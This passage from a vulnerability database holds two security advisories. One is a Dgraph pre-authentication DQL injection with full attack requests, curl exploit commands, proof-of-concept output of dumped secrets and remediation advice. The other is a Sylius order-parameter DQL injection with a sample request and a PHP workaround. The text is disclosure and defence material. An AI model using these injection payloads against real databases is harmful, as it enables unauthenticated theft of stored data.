No X-Dgraph-AccessToken header. In default configuration, /alter has no authentication when ACL is disabled.

Step 2. The attacker sends the injection payload:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "set": [{
    "uid": "_:inject",
    "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything"
  }]
}

Step 3. mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.

Step 4. x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.

Step 5. validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.

Step 6. addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.

Step 7. dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.

Step 8. authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.

Step 9. processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.

8. Proof of Concept

Files

File Purpose
report.md This vulnerability report
poc.py Exploit: sets up schema, seeds data, injects, prints leak
docker-compose.yml Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthLangDQL.mp4 Screen recording of the full attack from start to exfiltration

ZIP with all the relevant files: DGraphPreAuthDQLLang.zip

poc.py

The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.

Tested Output

$ python3 poc.py
[*] Target: http://localhost:8080
[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique

[+] Schema created: name @unique @index(exact) @lang
[+] Seed data inserted (4 nodes with secrets)
[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true
[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!
============================================================
  UID: 0xf5fcd
  Type: ['dgraph.graphql']
  Name: N/A
  Email: N/A
----------------------------------------
  UID: 0xf5fce
  Type: ['Person']
  Name: Alice
  Email: alice@example.com
  SECRET: s3cr3t_alice
----------------------------------------
  UID: 0xf5fcf
  Type: ['Person']
  Name: Bob
  Email: bob@corp.com
  SECRET: bob_password_123
----------------------------------------
  UID: 0xf5fd0
  Type: ['Admin']
  Name: root
  Email: admin@internal
  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE
----------------------------------------
  UID: 0xf5fd1
  Type: ['ServiceAccount']
  Name: prod-s3-backup
  Email: infra@corp.com
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
----------------------------------------
============================================================

[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field
[+] Impact: Full database read access without authentication

9. Steps to Reproduce

Prerequisites

  • Python 3 with requests (pip install requests)
  • Docker and Docker Compose

Step 1: Start Dgraph

cd LEAD_002_DQL_LANG
docker compose up -d

Wait for health:

curl http://localhost:8080/health

Step 2: Run the exploit

python3 poc.py

The PoC handles schema creation, data seeding, and exploitation automatically.

Step 3: Manual reproduction

To reproduce manually without the PoC script:

# Set up schema
curl -s -X POST http://localhost:8080/alter -d '
name: string @unique @index(exact) @lang .
email: string @index(exact) .
secret: string .
aws_access_key_id: string .
aws_secret_access_key: string .
'

# Seed data
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"},
    {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"},
    {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}
  ]}'

# Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
  | python3 -m json.tool

What to verify

  1. HTTP POST returns 200 (endpoint is reachable without auth)
  2. Response contains data.queries.leak with an array of nodes
  3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means
  4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow

10. Mitigations and Patch

Location: edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)

  1. Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters.
  2. Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.
  3. Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808.
  4. Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v24"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "24.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:41:42Z",
    "nvd_published_at": "2026-04-24T19:17:12Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph\u0027s default configuration where ACL is not enabled.\n\nThe attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with `@unique @index(exact) @lang` via `/alter` (also unauthenticated in default config). The second sends a crafted JSON mutation to `/mutate?commitNow=true` where a JSON key contains the predicate name followed by `@` and a DQL injection payload in the language tag position.\n\nThe injection exploits the `addQueryIfUnique` function in `edgraph/server.go`, which constructs DQL queries using `fmt.Sprintf` with unsanitized `predicateName` that includes the raw `pred.Lang` value. The `Lang` field is extracted from JSON mutation keys by `x.PredicateLang()`, which splits on `@`, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the `eq()` function, adds an arbitrary named query block, and uses a `#` comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n\n| Metric              | Value     | Rationale                                                                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                                                                             |\n| Attack Complexity   | Low       | Two requests, deterministic outcome, no special conditions                                                                         |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                                                                   |\n| User Interaction    | None      | Fully automated                                                                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                                                                  |\n| Integrity           | High      | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter |\n| Availability        | None      | No denial of service                                                                                                               |\n\n\n## 3. Vulnerability Summary\n\n\n| Field | Value                                                                       |\n| ----- | --------------------------------------------------------------------------- |\n| Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique |\n| Type  | Injection                                                                   |\n| CWE   | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)   |\n| CVSS  | 9.8                                                                         |\n\n\n## 4. Target Information\n\n\n| Field                 | Value                                                                                                                    |\n| --------------------- | ------------------------------------------------------------------------------------------------------------------------ |\n| Project               | Dgraph                                                                                                                   |\n| Repository            | [https://github.com/dgraph-io/dgraph](https://github.com/dgraph-io/dgraph)                                               |\n| Tested version        | v25.3.0                                                                                                                  |\n| Lang split            | `x/x.go` line 919 (`PredicateLang` splits on `@`, returns everything after as `Lang`)                                    |\n| Lang assignment       | `chunker/json_parser.go` line 524 (`nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)`)                              |\n| Validation gap        | `edgraph/server.go` line 2142 (`validateKeys` checks `nq.Predicate` only, never `nq.Lang`)                               |\n| Injection sink        | `edgraph/server.go` line 1808 (`fmt.Sprintf` with `predicateName` containing raw `pred.Lang`)                            |\n| predicateName build   | `edgraph/server.go` line 1780 (`fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)`)                                         |\n| Auth bypass (query)   | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)                                   |\n| Auth bypass (mutate)  | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)                                |\n| Response exfiltration | `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)                                       |\n| HTTP port             | 8080 (default)                                                                                                           |\n| Prerequisite          | A predicate with `@unique @index(exact) @lang` in the schema. The attacker can create this via unauthenticated `/alter`. |\n\n\n## 5. Test Environment\n\n\n| Component      | Version / Details                                                  |\n| -------------- | ------------------------------------------------------------------ |\n| Host OS        | macOS (darwin 25.3.0)                                              |\n| Dgraph         | v25.3.0 via `dgraph/dgraph:latest` Docker image                    |\n| Docker Compose | 1 Zero + 1 Alpha, default config, `whitelist=0.0.0.0/0` |\n| Python         | 3.x with `requests`                                                |\n| Network        | localhost (127.0.0.1)                                              |\n\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 1778-1808 (`addQueryIfUnique`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON mutations. When a predicate has the `@unique` directive, the `addQueryIfUnique` function builds a DQL query to check whether the value already exists.\n\nThe JSON chunker at `json_parser.go:524` splits mutation keys on `@` via `x.PredicateLang`:\n\n```go\nnq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)\n```\n\n`PredicateLang` at `x/x.go:919` splits on the last `@` and returns everything after it as the `Lang` string with no validation:\n\n```go\nfunc PredicateLang(s string) (string, string) {\n    i := strings.LastIndex(s, \"@\")\n    if i \u003c= 0 {\n        return s, \"\"\n    }\n    return s[0:i], s[i+1:]\n}\n```\n\n`validateKeys` at `server.go:2142` validates only `nq.Predicate`. It never touches `nq.Lang`:\n\n```go\nfunc validateKeys(nq *api.NQuad) error {\n    if err := validateKey(nq.Predicate); err != nil {\n        return errors.Wrapf(err, \"predicate %q\", nq.Predicate)\n    }\n    for i := range nq.Facets {\n        // ... validates facet keys ...\n    }\n    return nil  // nq.Lang is never checked\n}\n```\n\n`addQueryIfUnique` at `server.go:1778-1808` builds `predicateName` from the predicate and the raw `Lang`, then interpolates it into a DQL query via `fmt.Sprintf`:\n\n```go\npredicateName := fmt.Sprintf(\"\u003c%v\u003e\", pred.Predicate)\nif pred.Lang != \"\" {\n    predicateName = fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)\n}\n// ...\nquery := fmt.Sprintf(`%v as var(func: eq(%v,\"%v\"))`, queryVar, predicateName, val[1:len(val)-1])\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist applied to `pred.Lang` anywhere between the HTTP input and the `fmt.Sprintf` query construction.\n\nAn attacker crafts a JSON mutation key:\n\n```\nname@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\n```\n\nAfter `PredicateLang` splits on `@`:\n\n- `Predicate` = `name` (passes all validation)\n- `Lang` = `en,\"x\")) leak(func: has(dgraph.type)) { ... } } #` (never validated)\n\nThe constructed DQL becomes:\n\n```dql\n{\n  __dgraph_uniquecheck_0__ as var(func: eq(\u003cname\u003e@en,\"x\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }\n}\n```\n\nThe `#` comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a `var` query (returns empty) and a named `leak` query that exfiltrates all data. The uniqueness check passes (no existing `name@en` equals `\"x\"`), so the mutation succeeds, and the injected query results are returned in `data.queries.leak`.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker creates the required schema via unauthenticated `/alter`:\n\n```\nPOST /alter HTTP/1.1\nHost: TARGET:8080\n\nname: string @unique @index(exact) @lang .\n```\n\nNo `X-Dgraph-AccessToken` header. In default configuration, `/alter` has no authentication when ACL is disabled.\n\n**Step 2.** The attacker sends the injection payload:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"set\": [{\n    \"uid\": \"_:inject\",\n    \"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\": \"anything\"\n  }]\n}\n```\n\n**Step 3.** `mutationHandler` at `http.go:345` parses the JSON body. The key `name@en,...` is treated as predicate `name` with language tag `en,\"x\")) leak(...) } } #`.\n\n**Step 4.** `x.PredicateLang` at `x.go:919` splits the key on the last `@`. The `Predicate` is `name`. The `Lang` is the injection payload.\n\n**Step 5.** `validateKeys` at `server.go:2142` validates only `nq.Predicate` (`name`), which passes. `nq.Lang` is never checked.\n\n**Step 6.** `addQueryIfUnique` at `server.go:1778` constructs `predicateName` by appending the raw `pred.Lang` at line 1780. At line 1808, `fmt.Sprintf` interpolates this into the DQL query string.\n\n**Step 7.** `dql.ParseWithNeedVars` parses the constructed DQL. It encounters the original `var` query and the injected `leak` query. Both are accepted as valid DQL.\n\n**Step 8.** `authorizeQuery` at `access.go:958` returns `nil` because `AclSecretKey == nil` (default). No predicate-level authorization is performed.\n\n**Step 9.** `processQuery` executes both queries. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 10.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates.\n\n## 8. Proof of Concept\n\n### Files\n\n\n| File               | Purpose                                                      |\n| ------------------ | ------------------------------------------------------------ |\n| report.md                  | This vulnerability report                                        |\n| poc.py                     | Exploit: sets up schema, seeds data, injects, prints leak        |\n| docker-compose.yml         | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)    |\n| DGraphPreAuthLangDQL.mp4   | Screen recording of the full attack from start to exfiltration   |\n\nZIP with all the relevant files: \n[DGraphPreAuthDQLLang.zip](https://github.com/user-attachments/files/26002498/DGraphPreAuthDQLLang.zip)\n\n\n### poc.py\n\nThe exploit performs three operations: (1) creates the `@unique @index(exact) @lang` schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Target: http://localhost:8080\n[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique\n\n[+] Schema created: name @unique @index(exact) @lang\n[+] Seed data inserted (4 nodes with secrets)\n[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true\n[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!\n============================================================\n  UID: 0xf5fcd\n  Type: [\u0027dgraph.graphql\u0027]\n  Name: N/A\n  Email: N/A\n----------------------------------------\n  UID: 0xf5fce\n  Type: [\u0027Person\u0027]\n  Name: Alice\n  Email: alice@example.com\n  SECRET: s3cr3t_alice\n----------------------------------------\n  UID: 0xf5fcf\n  Type: [\u0027Person\u0027]\n  Name: Bob\n  Email: bob@corp.com\n  SECRET: bob_password_123\n----------------------------------------\n  UID: 0xf5fd0\n  Type: [\u0027Admin\u0027]\n  Name: root\n  Email: admin@internal\n  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE\n----------------------------------------\n  UID: 0xf5fd1\n  Type: [\u0027ServiceAccount\u0027]\n  Name: prod-s3-backup\n  Email: infra@corp.com\n  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n----------------------------------------\n============================================================\n\n[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field\n[+] Impact: Full database read access without authentication\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd LEAD_002_DQL_LANG\ndocker compose up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Run the exploit\n\n```bash\npython3 poc.py\n```\n\nThe PoC handles schema creation, data seeding, and exploitation automatically.\n\n### Step 3: Manual reproduction\n\nTo reproduce manually without the PoC script:\n\n```bash\n# Set up schema\ncurl -s -X POST http://localhost:8080/alter -d \u0027\nname: string @unique @index(exact) @lang .\nemail: string @index(exact) .\nsecret: string .\naws_access_key_id: string .\naws_secret_access_key: string .\n\u0027\n\n# Seed data\ncurl -s -X POST \u0027http://localhost:8080/mutate?commitNow=true\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"set\":[\n    {\"dgraph.type\":\"Person\",\"name\":\"Alice\",\"email\":\"alice@example.com\",\"secret\":\"s3cr3t_alice\"},\n    {\"dgraph.type\":\"Admin\",\"name\":\"root\",\"email\":\"admin@internal\",\"secret\":\"ADMIN_MASTER_KEY\"},\n    {\"dgraph.type\":\"ServiceAccount\",\"name\":\"prod-s3-backup\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\n  ]}\u0027\n\n# Exploit: single request exfiltrates everything\ncurl -s -X POST \u0027http://localhost:8080/mutate?commitNow=true\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"set\":[{\"uid\":\"_:x\",\"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\":\"anything\"}]}\u0027 \\\n  | python3 -m json.tool\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means\n4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `addQueryIfUnique` (line 1778) and `x/x.go`, `PredicateLang` (line 919)\n\n1. **Validate `nq.Lang`:** Add validation in `validateKeys` (or a new `validateLang` function) that restricts the `Lang` field to BCP 47 language tags: `^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$`. Reject any `Lang` value containing parentheses, braces, quotes, `#`, newlines, or other DQL-significant characters.\n2. **Parameterize DQL queries:** Replace the `fmt.Sprintf` query construction in `addQueryIfUnique` with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.\n3. **Escape at the sink:** If parameterization is not immediately feasible, escape DQL-significant characters (`)`, `{`, `}`, `\"`, `#`, newlines) in both `predicateName` and `val` before interpolation at line 1808.\n4. **Defense in depth:** After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one `var(...)` block per unique predicate. Any additional blocks indicate injection.",
  "id": "GHSA-x92x-px7w-4gx4",
  "modified": "2026-07-08T00:34:30Z",
  "published": "2026-04-24T15:41:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-x92x-px7w-4gx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41328"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field"
}

GHSA-XCWX-R2GW-W93M

Vulnerability from github – Published: 2026-03-11 00:13 – Updated: 2026-03-11 20:33
VLAI
Summary
Sylius has a DQL Injection via API Order Filters
Details

Impact

Sylius API filters ProductPriceOrderFilter and TranslationOrderNameAndLocaleFilter pass user-supplied order direction values directly to Doctrine's orderBy() without validation. An attacker can inject arbitrary DQL:

GET /api/v2/shop/products?order[price]=ASC,%20variant.code%20DESC

Patches

The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.

Workarounds

An EventSubscriber that sanitizes order query parameters only on API routes before they reach the vulnerable filters.

The subscriber accepts an $apiRoute constructor parameter (default /api/v2) and skips non-API requests entirely — so there is zero overhead on shop/admin page requests.

This follows the same pattern used by Sylius's own KernelRequestEventSubscriber (src/Sylius/Bundle/ApiBundle/EventSubscriber/KernelRequestEventSubscriber.php), which also uses str_contains($pathInfo, $this->apiRoute) to scope logic to API routes.


Step 1 — Create the EventSubscriber

src/EventSubscriber/SanitizeOrderDirectionSubscriber.php:

<?php

declare(strict_types=1);

namespace App\EventSubscriber;

use Symfony\Component\EventDispatcher\EventSubscriberInterface;
use Symfony\Component\HttpKernel\Event\RequestEvent;
use Symfony\Component\HttpKernel\KernelEvents;

final class SanitizeOrderDirectionSubscriber implements EventSubscriberInterface
{
    private const ALLOWED_DIRECTIONS = ['asc', 'desc'];

    public function __construct(
        private string $apiRoute,
    ) {
    }

    public static function getSubscribedEvents(): array
    {
        return [
            KernelEvents::REQUEST => ['sanitizeOrderParameters', 64],
        ];
    }

    public function sanitizeOrderParameters(RequestEvent $event): void
    {
        if (!str_contains($event->getRequest()->getPathInfo(), $this->apiRoute)) {
            return;
        }

        $request = $event->getRequest();

        /** @var mixed $order */
        $order = $request->query->all()['order'] ?? null;
        if (!is_array($order)) {
            return;
        }

        $needsSanitization = false;
        $sanitized = [];
        foreach ($order as $field => $direction) {
            if (is_string($direction) && in_array(strtolower($direction), self::ALLOWED_DIRECTIONS, true)) {
                $sanitized[$field] = $direction;
            } else {
                $needsSanitization = true;
            }
        }

        if (!$needsSanitization) {
            return;
        }

        $all = $request->query->all();
        $all['order'] = $sanitized;
        $request->query->replace($all);

        $request->server->set('QUERY_STRING', http_build_query($all));
        $request->attributes->set('_api_filters', $all);
    }
}

Step 2 — Register the service

Option A — If your config/services.yaml already has App\ autowiring (Symfony default):

# Nothing to do — autoconfigure picks up EventSubscriberInterface automatically.
# Optionally bind the API route prefix:
services:
    App\EventSubscriber\SanitizeOrderDirectionSubscriber:
        arguments:
            $apiRoute: '%sylius.security.new_api_route%'

Option B — If there is no App\ autowiring:

services:
    App\EventSubscriber\SanitizeOrderDirectionSubscriber:
        arguments:
            $apiRoute: '%sylius.security.new_api_route%'
        tags: ['kernel.event_subscriber']

Using %sylius.security.new_api_route% ties the subscriber to the same prefix Sylius uses (/api/v2 by default). If the parameter is not available, hardcode '/api/v2' instead.

Step 3 — Clear cache

bin/console cache:clear

Reporters

We would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability: - Chris Alupului (@Neosprings) - Bartłomiej Nowiński (@bnBart)

For more information

If you have any questions or comments about this advisory:

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.11"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.22"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.14.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.11"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:13:41Z",
    "nvd_published_at": "2026-03-10T22:16:20Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nSylius API filters `ProductPriceOrderFilter` and `TranslationOrderNameAndLocaleFilter` pass user-supplied order direction values directly to Doctrine\u0027s `orderBy()` without validation. An attacker can inject arbitrary DQL:\n\n```\nGET /api/v2/shop/products?order[price]=ASC,%20variant.code%20DESC\n```\n\n### Patches\nThe issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.\n\n### Workarounds\n\nAn `EventSubscriber` that sanitizes `order` query parameters **only on API routes** before they reach the vulnerable filters.\n\nThe subscriber accepts an `$apiRoute` constructor parameter (default `/api/v2`) and skips non-API requests entirely \u2014 so there is zero overhead on shop/admin page requests.\n\nThis follows the same pattern used by Sylius\u0027s own `KernelRequestEventSubscriber` (`src/Sylius/Bundle/ApiBundle/EventSubscriber/KernelRequestEventSubscriber.php`), which also uses `str_contains($pathInfo, $this-\u003eapiRoute)` to scope logic to API routes.\n\n---\n\n#### Step 1 \u2014 Create the EventSubscriber\n\n`src/EventSubscriber/SanitizeOrderDirectionSubscriber.php`:\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace App\\EventSubscriber;\n\nuse Symfony\\Component\\EventDispatcher\\EventSubscriberInterface;\nuse Symfony\\Component\\HttpKernel\\Event\\RequestEvent;\nuse Symfony\\Component\\HttpKernel\\KernelEvents;\n\nfinal class SanitizeOrderDirectionSubscriber implements EventSubscriberInterface\n{\n    private const ALLOWED_DIRECTIONS = [\u0027asc\u0027, \u0027desc\u0027];\n\n    public function __construct(\n        private string $apiRoute,\n    ) {\n    }\n\n    public static function getSubscribedEvents(): array\n    {\n        return [\n            KernelEvents::REQUEST =\u003e 